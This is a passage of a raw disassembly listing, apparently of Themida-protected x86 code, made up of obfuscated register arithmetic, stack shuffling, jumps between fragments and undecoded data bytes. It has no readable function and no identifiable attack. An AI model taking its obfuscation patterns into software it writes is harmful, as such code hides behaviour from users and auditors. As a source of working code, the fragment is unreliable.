		dd 0C481241Ch, 4, 0FFD268E9h, 4BFFFh, 0F8890000h, 17C3815Fh
		dd 1563D1Ah, 17EB81C3h,	0E9563D1Ah, 0FFFF90EDh
; ---------------------------------------------------------------------------


loc_561A70:				; CODE XREF: Themida_:005565B4j
		sub	ebp, edi
		sub	ebp, 32C94BF1h
		sub	ebp, 19356981h
		pop	edi
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55128B
; ---------------------------------------------------------------------------


loc_561A8F:				; CODE XREF: Themida_:0056103Ej
		add	ecx, eax
		jmp	loc_55706B
; ---------------------------------------------------------------------------


loc_561A96:				; CODE XREF: Themida_:005530EFj
		sub	ebp, 0E3D3F9FFh
		mov	eax, ebp
		jmp	loc_5595DA
; ---------------------------------------------------------------------------
		db 55h
		dd 0FF6EE7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561AA9:				; CODE XREF: Themida_:0056433Dj
		mov	ecx, ebx
		jmp	loc_5536A2
; ---------------------------------------------------------------------------
		dd 80A4B151h, 0C9FE33C1h, 0FFF2ACE9h, 4C483FFh,	627868h
		dd 24048900h, 0E8C0ECB0h, 0FED8F607h, 24D8F6C8h, 44304B7h
		dd 0B256E91Bh, 0C158FFFFh, 254002E0h, 42C94C50h, 3E74BB53h
		dd 0DBF7433Dh, 3EB8C381h, 0D8318545h, 58C1895Bh, 226AC281h
		dd 0CA01492Dh, 226AEA81h, 0C8B492Dh, 4C48124h, 51000000h
		dd 4B9h, 0C7E95600h, 8100003Bh,	0B15A76E1h, 0A8E95724h
		dd 81FFFFE5h, 6D290AEAh, 52E9586Eh, 55FFFFFBh, 0FF9E40E9h
		dd 0C38853FFh, 0D988C888h, 17A3E95Bh, 685E0000h, 4DA1h
		dd 68241489h, 77B7h, 68240489h,	1B63h, 0FF62A0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561B65:				; CODE XREF: Themida_:00556C16j
		mov	edx, ebx
		pop	ebx
		mov	eax, [esp]
		push	144Ch
		mov	[esp], ebx
		jmp	loc_5635CD
; ---------------------------------------------------------------------------
		dd 0E80029B5h, 9B75359h, 8063CF80h, 0C78096C7h,	0E9F82835h
		dd 0FFFFE833h, 7AE933B3h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561B97:				; CODE XREF: Themida_:00562AD6j
		mov	ch, 0C6h
		add	ch, 0DAh
		jmp	loc_5593B0
; ---------------------------------------------------------------------------
byte_561BA1	db 68h,	5Ah, 4		; DATA XREF: Themida_:00550D00o
		dd 8F540000h, 5CE92404h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561BAF:				; CODE XREF: Themida_:00551555j
		add	al, 0EFh
		add	al, bl
		push	bx
		jmp	loc_565547
; ---------------------------------------------------------------------------
		dw 8B59h
		dd 0C4832434h, 2434FF04h, 15E2E95Dh, 3C890000h,	0E9515224h
		dd 0FFFF21B3h, 414C4CBEh, 75E95670h, 0B9FFFF76h, 438B50AEh
		dd 734AB951h, 93E96E12h, 81FFFF45h, 254654C1h, 4FB85072h
		dd 29172569h, 0FCE958C1h, 66000032h, 2824B252h,	815A66D0h
		dd 4ECh, 242C8900h, 0D9E9E589h,	81FFFEF3h, 9140AAC6h, 4EC8142h
		dd 89000000h, 25B9240Ch, 29BF8E82h, 2434FFCEh, 83240C8Bh
		dd 0C48104C4h, 4, 0FFB080E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561C45:				; CODE XREF: Themida_:00552EA5j
		push	218Dh
		jmp	loc_55FE10
; ---------------------------------------------------------------------------


loc_561C4F:				; CODE XREF: Themida_:00562176j
		pop	edx
		add	ecx, esi
		pop	esi
		push	edi
		mov	edi, 3A0219AAh
		neg	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		add	edi, 1
		jmp	loc_561DF5
; ---------------------------------------------------------------------------


loc_561C68:				; CODE XREF: Themida_:00563B97j
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_55ED08
; ---------------------------------------------------------------------------
		db 52h,	54h, 5Ah
		dd 0FF9339E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561C7D:				; CODE XREF: Themida_:005534E9j
		pop	edi
		add	edi, 4
		push	eax
		jmp	loc_55828C
; ---------------------------------------------------------------------------


loc_561C8A:				; CODE XREF: Themida_:0055835Cj
		add	ebp, 2FE6E35h
		shl	ebp, 2
		and	ebp, 24C55F57h
		jmp	loc_564A16
; ---------------------------------------------------------------------------


loc_561C9E:				; CODE XREF: Themida_:00550F85j
		not	edi
		xchg	edi, edx
		sub	edx, 843F2D74h
		sub	eax, edx
		pop	edx
		pop	ebp
		push	edx
		jmp	loc_55C3AB
; ---------------------------------------------------------------------------
word_561CB2	dw 28Fh			; DATA XREF: Themida_:00550DCCo
		dd 0FEF2A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561CB9:				; CODE XREF: Themida_:005510C1j
		and	edx, 6A411F90h
		dec	edx
		jmp	loc_558F9D
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 49BCBB53h, 0E3C13746h, 0FBBD5504h, 3144D3B5h, 2434FFEBh
		dd 711E95Dh, 1B35FFFFh,	1277759h, 0B7D3E9C1h, 1268FFFFh
		dd 89000048h, 74FF243Ch, 0E95F0424h, 0FFFFC01Ch, 8102E6C1h
		dd 37D63FF6h, 1EAAE946h, 8766FFFFh, 9FE9240Ch, 57FFFF11h
		dd 0FF6F6AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561D1D:				; CODE XREF: Themida_:0055EC4Aj
		push	esi
		push	esp
		mov	esi, [esp]
		jmp	loc_5548EF
; ---------------------------------------------------------------------------


loc_561D27:				; CODE XREF: Themida_:005557CBj
		sub	esi, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		push	7350h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_564F75
; ---------------------------------------------------------------------------
		dd 5D04C483h, 5659CE01h, 0FF7EB3E9h, 4C483FFh, 7399C181h
		dd 0F181498Eh, 1BC5CDD4h, 0A5EB81h, 0CB297FB4h,	0A5C381h
		dd 50597FB4h, 9D1BE6B8h, 7DEB2562h, 282D01E8h, 81E4D7A4h
		dd 56197FEBh, 2AEE907h,	0C481FFFFh, 2, 0E94EE780h, 0FFFF0978h
		dd 875DE901h, 248B240Ch, 0B60F6624h, 10DB6800h,	1C890000h
		dd 505B5424h, 4B8h, 7BEB8100h, 0E9652D4Ch, 0FFFF55B2h
; ---------------------------------------------------------------------------


loc_561DC0:				; CODE XREF: Themida_:005525CCj
		mov	edi, esi
		pop	esi
		push	ebx
		mov	ebx, 1DE95C92h
		jmp	loc_553FA5
; ---------------------------------------------------------------------------
		dw 2BAh
		dd 0E9000000h, 0FFFF8F8Ah, 4BEh, 24740100h, 148B5E04h
		dd 2A0AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561DEA:				; CODE XREF: Themida_:00564671j
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_55D8D7
; ---------------------------------------------------------------------------


loc_561DF5:				; CODE XREF: Themida_:00561C63j
		xor	edi, 0C286EBEh
		or	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 3746BAFEh
		jmp	loc_554896
; ---------------------------------------------------------------------------
		dw 4CE9h
		db 0F1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_561E13:				; CODE XREF: Themida_:00559169j
		push	dword ptr [esp+4]
		jmp	loc_55142E
; ---------------------------------------------------------------------------
		dd 5E2414F7h, 0BB53F787h, 575E2BA6h, 0FF9B80E9h, 4C681FFh
		dd 0E9000000h, 0FFFFD380h, 0B8240489h, 4, 90E9C301h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561E47:				; CODE XREF: Themida_:00561156j
		push	ebx
		mov	ebx, 351B2FD9h
		neg	ebx
		inc	ebx
		or	ebx, 36CA787Fh
		xor	ebx, 31230D4Fh
		and	ebx, 62E28ECh
		xor	ebx, 0AE39D2CEh
		sub	edx, ebx
		pop	ebx
		jmp	loc_557212
; ---------------------------------------------------------------------------


loc_561E70:				; CODE XREF: Themida_:0056082Aj
		push	648Fh
		jmp	loc_551BF0
; ---------------------------------------------------------------------------


loc_561E7A:				; CODE XREF: Themida_:0055D559j
		mov	eax, [edx]
		push	dword ptr [esp]
		jmp	loc_557086
; ---------------------------------------------------------------------------
		dd 0CE627AB9h, 59CA013Eh, 0BF57C201h, 3ECE627Ah, 0E95FFA29h
		dd 0FFFFFC8Fh, 83240C8Bh, 0C48104C4h, 4, 2B87E981h, 5452799Dh
		dd 8124148Bh, 4C4h, 4EC8100h, 89000000h, 83E9240Ch
		db 2Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561EC7:				; CODE XREF: Themida_:0055EFC7j
		pop	ebp
		add	eax, ebp
		sub	eax, 4CD62989h
		pop	ebp
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5638E0
; ---------------------------------------------------------------------------
		dd 9EBA5253h, 5727C01Dh, 523E1D68h, 0CF815F31h,	74206FE1h
		dd 8107E7C1h, 25B9B9EFh, 5FFB8985h, 685AD301h, 4057h, 160EE9h
		dd 5FF80100h, 292DE9h, 4BD00h, 6C010000h, 84E90424h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561F27:				; CODE XREF: Themida_:00563EC8j
		sub	esi, 695166C6h
		add	esi, 0BF4A4C7Ah
		add	ebp, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_552326
; ---------------------------------------------------------------------------


loc_561F40:				; CODE XREF: Themida_:0055A6AEj
		mov	eax, 40FB14F0h
		sub	eax, 40FB14ECh
		jmp	loc_558A91
; ---------------------------------------------------------------------------
		db 55h
		dd 2D2386BDh, 5DE9290Ah, 13E98149h, 0E94CB002h,	0FFFF02C9h
		dd 0B1B7F8B4h, 0C058E700h, 0C7FE03EFh, 0F6C4F780h, 7FF780DFh
		dd 0FFEDF9E9h, 4BD55FFh, 1000000h, 34875DEEh, 0D01DE924h
		dd 0E95EFFFFh, 0FFFF4CCAh
; ---------------------------------------------------------------------------


loc_561F94:				; CODE XREF: Themida_:0055BFFBj
		mov	eax, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_56365D
; ---------------------------------------------------------------------------


loc_561FA5:				; CODE XREF: Themida_:005534F3j
		mov	[esp], eax
		mov	eax, 3A6B3E79h
		shr	eax, 4
		jmp	loc_563D70
; ---------------------------------------------------------------------------
		db 0C0h, 0EFh, 5
		dd 0EF80D7F6h, 2E76E931h, 68480000h, 1821h, 55243489h
		dd 0FF3ABCE9h, 3A685BFFh, 0E9000020h, 0FFFFE34Ch
; ---------------------------------------------------------------------------


loc_561FDC:				; CODE XREF: Themida_:0055C9B9j
		pop	edx
		push	3624h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, offset byte_4F20F7
		jmp	loc_5592A8
; ---------------------------------------------------------------------------
		dd 88241489h, 0ECCE9CAh, 0C6810000h, 604A192Eh,	0E9F5015Fh
		dd 0FFFF965Eh
; ---------------------------------------------------------------------------


loc_562010:				; CODE XREF: Themida_:00553A69j
		sub	esi, ebx
		pop	ebx
		xor	edx, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_562EB7
; ---------------------------------------------------------------------------
		dd 0F1685055h, 0E93E933Bh, 0FFFFD626h
dword_56202C	dd 24048B66h, 5E08950h,	4, 5004E883h, 42474FFh,	7F65E958h
					; DATA XREF: Themida_:00550C84o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562046:				; CODE XREF: Themida_:0055C9CFj
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55254D
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 5104E983h,	42474FFh
		dd 24048F59h, 2C5DE95Ch, 34FF0000h, 0C4815F24h,	4, 0FFFFC681h
		dd 0FF56FFFFh, 505E240Ch, 0B1638CB8h, 8FA10516h, 0C60158E7h
		dd 5E5D5658h, 9DA85D68h, 2434FF0Ch, 0E089505Bh,	405h, 747E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5620B6:				; CODE XREF: Themida_:00558DFAj
		push	6A24h
		mov	[esp], esi
		mov	esi, 4E1392BEh
		add	eax, 3A7A4D4Eh
		add	eax, esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 45096184h
		push	ebx
		mov	ebx, 0A8F1436h
		sub	ebp, ebx
		jmp	loc_5597EF
; ---------------------------------------------------------------------------


loc_5620E2:				; CODE XREF: Themida_:0055A834j
		add	esi, eax
		add	esi, 27AD1125h
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, 7CEF4490h
		xor	esi, 48BB3CF5h
		or	esi, 631D7F81h
		jmp	loc_55A25D
; ---------------------------------------------------------------------------
		db 1, 0DFh, 81h
		dd 290629EFh, 0F3C7815Ch, 8B48280Fh, 33E9241Ch,	68FFFFBEh
		dd 5488h, 0FF8D6BE9h, 0CCE959FFh
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562133:				; CODE XREF: Themida_:00555BE4j
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5544DB
; ---------------------------------------------------------------------------


loc_562153:				; CODE XREF: Themida_:0055D87Ej
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_55E22B
; ---------------------------------------------------------------------------
byte_562161	db 0FFh, 77h, 2Ch	; DATA XREF: Themida_:00550CACo
		dd 0FF70A4E9h, 0A9C681FFh, 0E90A0965h, 0FFFFFF06h
; ---------------------------------------------------------------------------


loc_562174:				; CODE XREF: Themida_:00552AF3j
		xor	esi, edx
		jmp	loc_561C4F
; ---------------------------------------------------------------------------


loc_56217B:				; CODE XREF: Themida_:00551C08j
		pop	edi
		add	edi, 15171A04h
		pop	eax
		jmp	loc_55F725
; ---------------------------------------------------------------------------
		dd 5866C300h, 0C0B60F58h, 0FF7069E9h, 0AEC381FFh, 0E9073151h
		dd 0FFFFC9BCh, 6911C281h, 9FE97CFCh, 66FFFF80h,	8124048Bh
		dd 2C4h, 80CEFE00h, 0B55154E6h,	982E989h, 2C8BFFFFh, 4C48324h
		dd 28CDE9h, 5E2C000h, 8835C280h, 0C3805AD5h, 4EC8398h
		dd 0B0240489h, 7E8C0CCh, 0FF5669E9h, 7D3205FFh,	862D58E0h
		dd 5041539h, 24B03EA3h,	2F063D2Dh, 0F8E95A1Eh
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562203:				; CODE XREF: Themida_:0055CCB8j
		pop	ebp
		push	dword ptr [eax]
		push	dword ptr [esp]
		pop	ecx
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55A31B
; ---------------------------------------------------------------------------
		dw 1BDh
		dd 29000000h, 0BB535DEFh, 535F7516h, 68h, 241C2900h, 2EBC15Bh
		dd 6EBC14Bh, 216AE9h, 82C58100h, 0C142447Bh, 0B3E905EDh
		dd 68FFFF42h, 4B5322EDh, 7EE815Eh, 0E9D00BFEh, 0FFFFB090h
		dd 68h,	0CB015B00h, 0FF5B0303h,	34FF2434h, 0A1E95924h
		dd 81000010h, 4C2h, 4EA8100h, 0E9000000h, 2C07h, 5E37CE81h
		dd 0F681372Fh, 307816FDh, 0FFF680E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562295:				; CODE XREF: Themida_:00558C34j
		jz	loc_5627C1
		push	dword ptr [edi+28h]
		jmp	loc_551E14
; ---------------------------------------------------------------------------
		db 5Ah
		dd 34FFC831h, 2434FF24h, 0FFEA3AE9h, 2474FFFFh,	48F5E04h
		dd 24248B24h, 5FA468h, 240C8900h, 0FF787DE9h
		db 0FFh
byte_5622C9	db 66h,	8Bh, 4		; DATA XREF: Themida_:00550EECo
		dd 3A26E924h, 0E955FFFFh, 0FFFF95F4h
; ---------------------------------------------------------------------------


loc_5622D8:				; CODE XREF: Themida_:005590BEj
		mov	edi, 4
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		jmp	loc_553AF7
; ---------------------------------------------------------------------------
		dd 0E168C300h, 8900004Bh, 47E92404h, 89000034h,	34FF2404h
		dd 2434FF24h, 0EC81515Bh, 4, 1E5AE9h, 76EF8100h, 29B71FFAh
		dd 0C3815FFBh, 652D4C7Bh, 64D86858h, 34890000h,	2BE24h
		dd 9FE90000h
		db 0F7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56232F:				; CODE XREF: Themida_:00563EBCj
		shl	eax, 2
		sub	eax, 8671D3BAh
		push	eax
		sub	dword ptr [esp], 2064432Ch
		pop	ecx
		add	ecx, 2064432Ch
		pop	eax
		jmp	loc_55DBE2
; ---------------------------------------------------------------------------


loc_56234C:				; CODE XREF: Themida_:00562FDBj
		mov	edx, 38641D54h
		jmp	loc_55DDF8
; ---------------------------------------------------------------------------
word_562356	dw 77FFh		; DATA XREF: Themida_:00550CD8o
		dd 59669D1Ch, 9C2414D3h, 0FEEBFAE9h, 31E958FFh
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56236B:				; CODE XREF: Themida_:0055C6D9j
		mov	eax, ebp
		pop	ebp
		sub	ebp, 3C7A5DECh
		jmp	loc_55354B
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 89241C89h, 0B95157E3h, 4, 159CF89h, 0E3D4E9FBh, 8158FFFFh
		dd 4C7h, 243C8700h, 0E924248Bh,	0FFFEEBBBh, 0E92434FFh
		dd 82Bh, 0DE0DEB2Dh, 0DBF7932Dh
		db 93h,	0F7h, 0D0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56512F
; ---------------------------------------------------------------------------


loc_5623BF:				; CODE XREF: Themida_:0055B272j
		mov	[esp], eax
		jmp	loc_55A335
; ---------------------------------------------------------------------------


loc_5623C7:				; CODE XREF: Themida_:00560281j
		pop	eax
		add	edx, 0FFFFFFFFh
		and	edx, 628E24F6h
		xor	edx, 820014h
		mov	ecx, edx
		pop	edx
		sub	ebx, 76F362A3h
		add	ebx, ecx
		add	ebx, 76F362A3h
		pop	ecx
		jmp	loc_558A5D
; ---------------------------------------------------------------------------
		db 5Ch,	68h, 1
		dd 0E900005Ch, 0FFFF335Ch
; ---------------------------------------------------------------------------


loc_5623FC:				; CODE XREF: Themida_:00557036j
		add	ebp, ebx
		jmp	loc_5576EF
; ---------------------------------------------------------------------------
		db 2Dh
		dd 457B466Eh, 0FEF5E8E9h, 4C483FFh, 63A7BB53h, 814B60C5h
		dd 0CE35F7EBh, 8BDE2920h, 0C483241Ch, 0FAEA8104h, 81221061h
		dd 0FC6911EAh, 0E9F2297Ch, 0FFFFFD68h, 42BD5547h, 914074Dh
		dd 0EFC15DEFh, 0D4F78102h, 14891A5h, 0ED815FFDh, 95400ABAh
		dd 277C781h, 0C7813D62h, 67085259h, 0EF81EF01h,	67085259h
		dd 0FFD0DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56246D:				; CODE XREF: Themida_:0055727Aj
		pop	edi
		push	53DCh
		mov	[esp], esi
		mov	esi, ecx
		push	esi
		push	ebp
		mov	ebp, 10B040AEh
		jmp	loc_55CC05
; ---------------------------------------------------------------------------
		dd 4B850h, 0C1010000h, 0EA78E958h, 1C29FFFFh, 24048124h
		dd 6C83C25h, 33E1E9h, 0C34BB00h, 0D9890281h, 9ABA525Bh
		dd 0F770CE21h, 61BF57DAh, 29245164h, 0EA815FFAh, 6FE0001h
		dd 0FFDCAEE9h, 4C483FFh, 205h, 8386800h, 4890000h, 2474FF24h
		dd 24048B04h, 4C481h, 48F0000h,	26E95C24h, 8900000Dh, 243C8BF8h
		dd 4C481h, 0C7010000h, 2B85058h, 81000000h, 0CD6F8DEFh
		dd 81C70170h, 0CD6F8DC7h, 3C335870h, 243C3124h,	8B243C33h
		dd 0E9F62424h, 0FF6C9BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562521:				; CODE XREF: Themida_:0055662Ej
		add	edi, ecx
		pop	ecx
		jmp	loc_55A27B
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 3Dh
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56252F:				; CODE XREF: Themida_:00563D44j
		shr	edx, 7
		jmp	loc_561753
; ---------------------------------------------------------------------------


loc_562537:				; CODE XREF: Themida_:0055FF4Dj
		mov	[esp], edx
		mov	edx, 0D11FFFFBh
		xor	ebx, edx
		pop	edx
		add	ecx, 26BE42B1h
		add	ecx, ebx
		push	esi
		mov	esi, 12852830h
		neg	esi
		add	esi, 392A0324h
		dec	esi
		and	esi, 26A539EFh
		add	esi, 1A29CEh
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_558921
; ---------------------------------------------------------------------------
		dd 0C281FA01h, 7B910A13h, 7EA9C281h, 5E5F2990h,	5AC2814Ah
		dd 4270026Eh, 0FEFBC8E9h, 87CF81FFh, 8327B843h,	0ECE9FFC7h
		db 0EDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5625A3:				; CODE XREF: Themida_:00553C08j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_550F5F
; ---------------------------------------------------------------------------


loc_5625B9:				; CODE XREF: Themida_:0055799Cj
		pop	ebp
		jmp	loc_5656E1
; ---------------------------------------------------------------------------
		db 66h
		dd 68241C89h, 7D4Dh, 0E9240C89h, 0FFFFB6D7h, 0F9242C81h
		dd 5E5E2C52h, 52F9C681h, 14E95E2Ch
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5625E3:				; CODE XREF: Themida_:0055B919j
		push	3FA5h
		mov	[esp], edx
		mov	edx, 4A303F03h
		push	ecx
		mov	ecx, 12030AF0h
		dec	ecx
		or	ecx, 281E3FC0h
		sub	ecx, 434203F9h
		and	ecx, 4D2742C6h
		dec	ecx
		sub	ecx, 755429E6h
		sub	edx, ecx
		pop	ecx
		sub	esi, edx
		jmp	loc_5628EE
; ---------------------------------------------------------------------------
		dw 5655h
		dd 545E6668h, 0CE315E43h, 0FF1D86E9h, 0A36866FFh, 0C89663Dh
		dd 2D0E924h, 0C8BFFFFh,	4C48324h, 0FF23D3E9h, 1BBF57FFh
		dd 2962897Ch, 0C6295FF8h, 5EF52958h, 5C242C87h,	0FF9A3CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562659:				; CODE XREF: Themida_:0055A300j
		sub	ecx, 38DA0E07h
		pop	ebp
		push	3F5Dh
		mov	[esp], ecx
		push	ebx
		mov	ebx, 6EF2000Dh
		add	[esp+4], ebx
		pop	ebx
		pop	ebp
		jmp	loc_565848
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Ah, 81000000h,	0B145CC2h, 243C8B39h, 4C481h, 74E90000h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562697:				; CODE XREF: Themida_:00561539j
		shr	ecx, 5
		and	ecx, 12334026h
		xor	ecx, 11A820EEh
		xor	esi, ecx
		pop	ecx
		xor	esi, 4AA85681h
		jmp	loc_563E31
; ---------------------------------------------------------------------------
		dd 0FF24248Bh, 34FF2434h, 240C8B24h, 4C481h, 94680000h
		dd 89000075h, 0D8E9243Ch, 52FFFF93h, 6704E8BAh,	5AD30124h
		dd 0EB81EB01h, 246704E8h, 7612E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5626EA:				; CODE XREF: Themida_:005525E5j
		not	dword ptr [esp]
		pop	ecx
		sub	ecx, 28BA6831h
		push	3CDBh
		mov	[esp], esi
		mov	esi, 66BEB0D4h
		sub	ecx, 41AC7F74h
		sub	ecx, esi
		push	eax
		jmp	loc_561038
; ---------------------------------------------------------------------------
		db 8Bh
		dd 14872424h, 89575C24h, 0C61CE9E7h, 0E281FFFFh, 23D2E33h
		dd 5FB6F281h, 0D3017C3Eh, 8952575Ah, 0E28952C2h, 52D6BF57h
		dd 0E9505935h, 0FFFF536Dh
; ---------------------------------------------------------------------------


loc_562740:				; CODE XREF: Themida_:0055ADACj
		mov	esp, [esp]
		jmp	loc_55A375
; ---------------------------------------------------------------------------
		dd 4C481h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 17C65BA8h
		jmp	loc_554263
; ---------------------------------------------------------------------------
		dd 5C241487h, 2B951h, 0C6810000h, 11047F23h, 0FEED60E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562771:				; CODE XREF: Themida_:00563BEDj
		push	ebp
		push	eax
		mov	eax, 25866B87h
		jmp	loc_55391C
; ---------------------------------------------------------------------------


loc_56277D:				; CODE XREF: Themida_:005585F4j
		add	dword ptr [edx+38h], 33FC167Ah
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_553209
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FBE9E189h
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56279F:				; CODE XREF: Themida_:0055A006j
		and	edx, 8819B1h
		push	ebx
		mov	ebx, 0FFF7EFD3h
		add	edx, 70B05861h
		add	edx, ebx
		sub	edx, 70B05861h
		pop	ebx
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp


loc_5627C1:				; CODE XREF: Themida_:0055EA1Fj
					; Themida_:loc_562295j
		push	6601h
		mov	[esp], ebx
		jmp	loc_5573A6
; ---------------------------------------------------------------------------


loc_5627CE:				; CODE XREF: Themida_:0055AFE7j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ebx, eax
		push	7C03h
		mov	[esp], ebp
		push	2E6345Bh
		pop	ebp
		shr	ebp, 8
		jmp	loc_553B0B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4, 0FEF220E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562821:				; CODE XREF: Themida_:0055B379j
		mov	ecx, ebx
		pop	ebx
		jmp	loc_55B7A8
; ---------------------------------------------------------------------------


loc_562829:				; CODE XREF: Themida_:00563422j
		add	edi, 4
		add	edi, 4
		jmp	loc_5629E9
; ---------------------------------------------------------------------------
byte_562837	db 0ADh			; DATA XREF: Themida_:00550E80o
		dd 3FE9D831h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56283F:				; CODE XREF: Themida_:0055D624j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	1A42h
		mov	[esp], ebp
		mov	ebp, 1
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	ebp
		jmp	loc_55778E
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 0FF5F78E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562879:				; CODE XREF: Themida_:005541CCj
		mov	eax, 240B4506h
		xor	[esp+4], eax
		jmp	loc_55843C
; ---------------------------------------------------------------------------
		db 1
		dd 24348BF0h, 4C481h, 0C0830000h, 24048704h, 8124248Bh
		dd 4C7h, 2C78100h, 33000000h, 3C31243Ch, 5D5DE924h, 0E589FFFFh
		dd 4C581h, 0C5830000h, 242C8704h, 0D78E9h, 0E4B86600h
		dd 0C5316633h, 24048B66h, 0FF9D54E9h, 240489FFh, 61D6BE56h
		dd 0EC8306C6h, 2058E904h, 48FFFFFh, 0FF90E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5628EE:				; CODE XREF: Themida_:00562615j
		pop	edx
		and	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, 0EF7BEFC2h
		add	ebp, edi
		push	dword ptr [esp]
		jmp	loc_554E05
; ---------------------------------------------------------------------------
		dw 0CC80h
		dd 7EC802Ah, 0E9F6C480h, 1751h,	0A201E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56291E:				; CODE XREF: Themida_:00560D47j
		pop	edx
		add	edx, 6877215h
		jmp	loc_559634
; ---------------------------------------------------------------------------


loc_56292A:				; CODE XREF: Themida_:00557CA4j
		mov	esi, 0ECE25BEh
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		not	ecx
		shl	ecx, 7
		jmp	loc_563C10
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 61h
		dd 6833A96Dh, 46C22A6Ch, 0FF168BE9h, 0AEBF57FFh, 810EE21Bh
		dd 5003BDF7h, 0FE7817Fh, 0E96B3F02h, 199Ah, 64F1EE81h
		dd 0C8B6D53h, 0E45DE924h, 555BFFFFh, 12E9B951h,	0E98152BAh
		dd 2E050907h, 9E6F181h,	0CD8924B5h, 0F871E959h,	0B951FFFEh
		dd 670C3800h, 8108E9C1h, 293026E9h, 0C1814159h,	58C223F1h
		dd 1B72C781h, 0CF01757Fh, 1B72EF81h, 0CDE9757Fh
		db 0A5h, 2 dup(0FFh)
